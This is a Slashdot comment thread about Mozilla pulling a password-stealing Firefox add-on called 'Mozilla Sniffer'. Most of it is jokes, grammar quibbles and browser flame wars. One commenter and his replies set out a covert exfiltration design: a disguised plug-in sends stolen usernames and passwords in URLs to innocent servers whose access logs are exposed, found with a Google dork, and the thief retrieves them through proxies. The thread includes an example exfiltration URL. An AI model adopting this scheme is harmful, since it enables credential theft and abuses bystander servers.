    The addon was experimental, and whenever you try to install an experimental addon you have to check a box acknowledging it's experimental before the install button works, and it's tagged with a scary warning that it could blow up your computer or compromise the security of Firefox due to the lack of code review.

    Not only that, but the author couldn't even use proper English in the addon description:

    View and modify HTTP/HTTPS headers it's base on tamper data but many problems have been solved in this version u can check it out.

    Given that, I hate to say that "people had it coming", but I figure people had ample warning that they were trying something that could be malicious.

    1. Re:It was experimental, warnings were there by mdm-adph · · Score: 3, Funny

      I think you're missing the point that there's probably quite a few people on the Internet today who read that description and -- at least to them -- there wasn't anything grammatically wrong with it.

      --
      It is by my will alone my thoughts acquire motion; it is by the juice of the coffee bean that the thoughts acquire speed
    2. Re:It was experimental, warnings were there by bunratty · · Score: 2, Insightful
      They had it coming, but some users really are dumb enough to fall for it. This is why Mozilla is also going to make it even harder to find unreviewed add-ons.

      Having unreviewed add-ons exposed to the public, even with low visibility, has been previously identified as an attack vector for hackers. For this reason, we’re already working on implementing a new security model for addons.mozilla.org that will require all add-ons to be code-reviewed before they are discoverable in the site.

      --
      What a fool believes, he sees, no wise man has the power to reason away.
    3. Re:It was experimental, warnings were there by Anonymous Coward · · Score: 1, Funny

      I think you're missing the point that there's probably quite a few people on the Internet today who read that description and -- at least to them -- there wasn't anything grammatically wrong with it.

      What u are talking about? u're english is not perfect either u no.

    4. Re:It was experimental, warnings were there by harmonise · · Score: 1

      Not only that, but the author couldn't even use proper English in the addon description

      That doesn't mean much. Cmdrtaco's English is atrocious but he still managed to hack out Slashcode and use it to create a very popular web site.

      --
      Cory Doctorow talking about cloud computing makes as much sense as George W Bush talking about electrical engineering.
  10. seeing the recent fraud commited by Shivetya · · Score: 2, Interesting

    on Apple's store your suggesting we avoid Apple products? I figure you were going to imply Android as being less safe, but the only recent story about market safety I have seen is someone exploiting iTunes accounts to the benefit of a single developer.

    though it would be interesting to have two bad apps released simultaneously into both markets and see which one gets caught first

    --
    * Winners compare their achievements to their goals, losers compare theirs to that of others.
  11. Simples by Chrisq · · Score: 2, Funny

    This guy is a native English speaker with a good education and almost surely a security professional trying to see how far he can get. The typos he has NOT made give it away, among other clues: (1) "it's" is always correctly used (2) looks like he deliberately added plurals making it look as though his English is poor (3) John "Devid" (4) "check it out" (5) "don't" is correct (6) no other spelling characteristic Eastern European mistakes

    Just my opinion, I could be wrong.

    Simples

  12. netcraft confirms it by mrzaph0d · · Score: 1

    that extension is dead.

    --
    this is just a placeholder till i send back my real sig from the future.
  13. Stupid tax by HBI · · Score: 2, Funny

    Obviously, their grammatical misconceptions cost them something, this time.

    --
    HBI's Law: Frequency of calling others Nazis is directly correlated with the likelihood of the accuser being Communist.
  14. Addon called "Mozilla Sniffer" by DroppedAtBirth · · Score: 5, Insightful

    The addon was called "Mozilla Sniffer", and people still installed it? I would understand if this was some functionallity hidden in a valid sounding addon but its called "Mozilla Sniffer". User FAIL.

    --
    Rob
    1. Re:Addon called "Mozilla Sniffer" by russotto · · Score: 1

      It could have been called "Steal all your passwords and send them to the Russian Mafia" and still some people would have installed it.

    2. Re:Addon called "Mozilla Sniffer" by Hurricane78 · · Score: 1

      I have a bold statement for you:
      The evil one here is the Mozilla team. For removing that thing.
      It is obvious that this this was just natural selection at work. Hurting everyone who is so dumb that he can’t really be called a human anymore.
      Just like the lion kills the zebra that fails at being a zebra by being slow and dumb as hell. ;)
      Meanwhile keeping the whole herd healthy.

      We humans are zebras without lions. We constantly remove all lion-like things from our lives.
      And then we complain that the Idiocracy is coming.
      Damn, we bring this on ourselves!

      I liked that quote from bash.org:
      “Why don’t we just pull the warning labels off of everything, and let the problem solve itself?”

      Because there is a level where you’re not doing humanity any good anymore with that overprotective behavior. Instead you’re making it worse for us all.
      If you think that you can expect a normal healthy human, to avoid an add-on called “Mozilla Sniffer”, then do expect that. Which results in there being no need to remove the thing.

      If you ever were in the Saint Louis City Museum, you know what I mean. Life is simply better without 10 miles of protective padding for everyone. :)

      --
      Any sufficiently advanced intelligence is indistinguishable from stupidity.
    3. Re:Addon called "Mozilla Sniffer" by Anonymous Coward · · Score: 0

      Like all good scams, which make you think you are the one getting the unfair benefits, the program probably made the user think they were being a 1337 H4X0R, sniffing packets or whatever it was supposed to do.

      All the tools for script kiddies contain one or more trojans. Those that don't right now, will soon.

      Hopefully, this will give some of their "users" a clue.

  15. maybe Dillo? by mister_playboy · · Score: 2, Informative

    You could try Dillo.

    --
    Do what thou wilt shall be the whole of the Law ::: Love is the law, love under will
    1. Re:maybe Dillo? by Windwraith · · Score: 1

      Man, Dillo is the ultimate authority in Spartan browsers, you can't get any more barebones than that (except maybe those "wrapper" browsers that only put a frontend over webkit libraries). However it renders a lot of stuff wrong, so for me its use ended up as a lightweight local HTML reader.
      Modern websites, in many cases, are simply unusable with something as lightweight as Dillo, unfortunately. But it used to be good for lightweight online browsing before sites started requiring 200kb javascript libraries/includes.

  16. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  17. Not "their" by Anonymous Coward · · Score: 0

    Mozilla pulled one of their Firefox add-ons

    That's a lie, unless you're suggesting that they planted the rogue addon themselves. Why would they do that? Yes, it was called "Mozilla Sniffer" and they should have pulled it immediately, without review, for violating their trademark. But nothing indicates that this addon was released by Mozilla or anyone associated with Mozilla.

  18. To perfect this hack... by Chapter80 · · Score: 5, Interesting

    When writing Trojans like this, there are several considerations that this author failed on.

    1) Obscuring the code, so that it lasts longer, even upon scrutiny of the source.
    2) Obscuring the password delivery mechanism to reduce the likelihood of detection of the code execution.
    3) Obscure the password retrieval, to reduce the likelihood that the perpetrator would be caught, even if the authorities discover the code.

    Much has been written about item 1, obscuring code. But I haven't seen much research describing items 2 or 3.
    If I were writing the code, I would integrate the password theft and remote delivery into the main purpose of the code. For instance, say you wrote a plug-in whose function was to report to the user some information retrieved from Google and other sites. e.g. "This plug-in helps with Search Engine Optimization, by reporting potential keywords that can be added to the web page to increase results". With that sort of purpose, hits to Google and other sites wouldn't be suspected.

    Some of my hits to Google would be to locate an open log file, with a Google Query like this query: "get / http/1.1" 200 mozilla filetype:log

    Once I found a web server with a log file that was openly being displayed on the web, I'd pass the stolen information (stolen user name, stolen password, and site that this information can be used on) in the form of a URL, possibly encoding the payload information (I don't encode it below, for clarity).

    Then my rouge program would request a few more pages from other sites that have open log files, just to obscure my activities, specifically requesting the log file page itself (and disposing of the results). I'll explain why this step is important later...

    Example: Using my Google query above, I can see that bullyentertainment.com has its logfile exposed (sorry, bullyentertainment, you're just the first one on my list of hundreds of thousands of open logfiles). That means that my trojan horse can request a page on bullyentertainment.com, (like www.bullyentertainment.com/stolen_info?user=myuser&pwd=hunter2&site=gmail.com it will log my hit into that file - logging the stolen user name, password, and site information into a remote innocent bystander server. If my rouge program requests a page on bullyentertainment.com with some information encoded in the URL, I can effectively transfer the secret stolen information from the infected PC to an innocent bystander (bullyentertainment.com).

    Then later, back at secret spy headquarters, I can use the same Google Query to locate log files that have my secret information in them, like www.bullyentertainment.com/logs/access.log which was a log file shown by my Google Query. I can follow the same pattern as the infected PC - first hit a page passing some URL containing secret information, and then retrieve the log file - so my activities ALSO look like an infected PC. But by retrieving the log file, I have retrieved all of the stolen passwords.

    This technique is a way to pass stolen information back to the hacker without detection, by going through an intermediary. Because spy headquarters uses the same procedure as a hacked PC, it cannot easily be detected as the destination of the information. Use of proxies can further hinder attempts to catch the hacker. In a real hack, I'd encode the secret information, so that only I was able to easily decode it. But you get the idea.

    PS If you test the above links, no harm, but your IP address will be logged (just as it is with any click), but it will be visible to other users on an exposed log file. No big deal, but I thought I'd mention it.

    1. Re:To perfect this hack... by Anonymous Coward · · Score: 0

      Great explanation, but the one server that you chose didn't work.

      I tried it on several others, and it worked great!

    2. Re:To perfect this hack... by roman_mir · · Score: 1

      And then, when you are in your headquarters, recovering the information from Google, your search will be recorded and later indexed by 'internet cops' or whatever.

      Make sure you don't do this from your headquarters directly.

    3. Re:To perfect this hack... by Chapter80 · · Score: 1

      I think you missed the point that at headquarters you are doing the same actions that a compromised PC would be doing.

      That's the cover. Sure, your actions would be logged, but so would the hundreds of thousands of compromised PCs. Your activity would be obscured through sheer quantity of people doing the same actions.

    4. Re:To perfect this hack... by roman_mir · · Score: 1

      you think your activities will look the same as activities of infected PCs, but they won't. Something will stand out and you'll get caught, it's better not to do it from your own PC.

    5. Re:To perfect this hack... by Chapter80 · · Score: 1

      Sure, it's better not to use your own PC, but it's still possible to do so.

      I run the same "infection" on my PC as what's on all the other PC's. The only difference is that I don't "discard" the log file, I look at it. So my activities will look exactly like the infected PC, because I run the password retrieval program through the same infection. (... not that I have written this virus, mind you.)

      Sounds like we're on the same page though. Always better to use proxies, internet cafes, and remote controlled PCs to retrieve the booty, if possible. The more intermediaries the better.

    6. Re:To perfect this hack... by slacker001 · · Score: 1

      it's "rogue". try playing a rogue in WoW for any amount of time and this misspelling will irritate you to no end.

    7. Re:To perfect this hack... by Chapter80 · · Score: 1

      no, I actually apply my program to my wife's cheeks. It's rouge. :)

      Thanks for the polite correction. I appreciate learning my frequent mistakes in a non-business setting, especially those that are not caught by spell-checker.

    8. Re:To perfect this hack... by jlusk4 · · Score: 1

      "hunter2". I love it. :)

    9. Re:To perfect this hack... by jlusk4 · · Score: 1
    10. Re:To perfect this hack... by Anonymous Coward · · Score: 0

      The author also failed to use proper English in the addon description, so it is hardly any surprise there were no steps taken to obfuscate the code.

  19. put that in your pipe and smoke it! by Anonymous Coward · · Score: 0

    I use Mac OS, so I'm indemnified from having to pay the $699 indulgence to cover my cocksmoking and teabagging. So SCOX[Q] off!

  20. What I don't get: by Hurricane78 · · Score: 1, Funny

    An add-on called "Mozilla Sniffer" was uploaded on June 6th to addons.mozilla.org.

    That’s like uploading a add-on called “Windows Virus”. Who the hell would install that?
    I mean even Joe DontKnowShit would think twice before installing something that reminds him of a TLA agent or spy trying to get a look at his privates.

    --
    Any sufficiently advanced intelligence is indistinguishable from stupidity.
  21. google beverlz5 by Anonymous Coward · · Score: 0

    and you find a domain name. i wonder why he used an ip instead???

  22. New porn movie title by Cur8or · · Score: 0

    Ok, ok. What if the Italian pool boy's name is Mozilla and he likes sniffing "backdoors"?

    --
    Winkey shortcut mapping for 64bit windows. WinKeyPlus
  23. 74.220.219.77/~beverlz5 by Smallpond · · Score: 2, Informative

    jwhois 74.220.219.77
    [Querying whois.arin.net]
    [whois.arin.net]

    OrgName: Bluehost Inc.
    OrgID: BLUEH-2
    Address: 1958 South 950 East
    City: Provo
    StateProv: UT
    PostalCode: 84606
    Country: US

    So has law enforcement been notified?

  24. I am impressed... by Anonymous Coward · · Score: 0

    ...with the fact that you own a secret spy headquarters. How may I join your rogue organization? I assume you will simply show up one day by rappelling from the ceiling and giving me the choice to join, or to die. I already own a black outfit from the time I played Hudson Hawk in a stage production of the film (those critics didn't understand my interpretation of Hudson as a jaded post-Katrina Robin Hood), and would be ready to learn. I think I am qualified for at least henchman status, though I would insist on a career path that could possibly lead to an global enforcer position, like Angeline Joile plays in Salt. In any case, I await your arrival.

  25. Backdoor sniffer? by Anonymous Coward · · Score: 0

    It figures that these two words would appear together in a story about the most bloated, memory-leaking browser ever...

  26. But a spare yahoo email address helps. by niftymitch · · Score: 1

    ...snip...

    I don't bother making reports - I guess if I did, I might get my name attached to some zero day thingy. Hmmmm. That might not be good either. The better known you are, the harder it is to stay anoynymous when you really WANT to be anonymous!

    For some things like this you MUST have a zero day tossable email account. One that does not have an address book or shared pass word. Since email accounts expect an existing email account to validate use a company account to validate a yahoo to validate a gmail to validate a microsoft to validate your TOSSABLE. Law enforcement can still get to you but hackers outside the law would have to hack security at least two companies to get to you. While we are at it keep a LiveDVD with a browser that works and use it to access money sites. In some cases a LiveUSB key with a small file system partition to keep links handy is justified. vim -x handy-links4bob

    --
    Truth is stranger than fiction, but it is because Fiction is obliged to stick to possibilities; Truth isn't. Mark Twain.
  27. Everyone's been right about you this week by Anonymous Coward · · Score: 0

    I prefer Firefox's way of offering a basic browser and moving extended or niche features to optional extensions to monolithic blocks like Opera. by silanea (1241518) writes: on Thursday July 15, @09:24AM (#32912378)

    I have to admit that I have read your history this week here and that you are indeed stupid as most all of your repliers have been saying, as well as a firefox fanboy troll type here. This next summation of your stupidity via quoting you really takes the cake though:

    Of course there is a risk associated with this model, but in my case the benefits far outweigh that risk. by silanea (1241518) writes: on Thursday July 15, @09:24AM (#32912378)

    Yes, the risk is a browser that consistently has more security issues in it over time than Opera has had, for one thing, and also that Firefox has been consistently slower than Opera over time also in all things web over time typically.

    (You truly are stupid, and an obvious firefox shill)

  28. 21st century slower and less secure by Anonymous Coward · · Score: 0

    See subject above, you retarded moron. The amusing part of your posts here is that You make it terribly obvious you are nothing more than another firefox fanboy shill in your posts in this very exchange because you try to make it seem that "it's ok that firefox is slower than Opera and has more security bugs than Opera also". Who are you kidding except yourself idiot?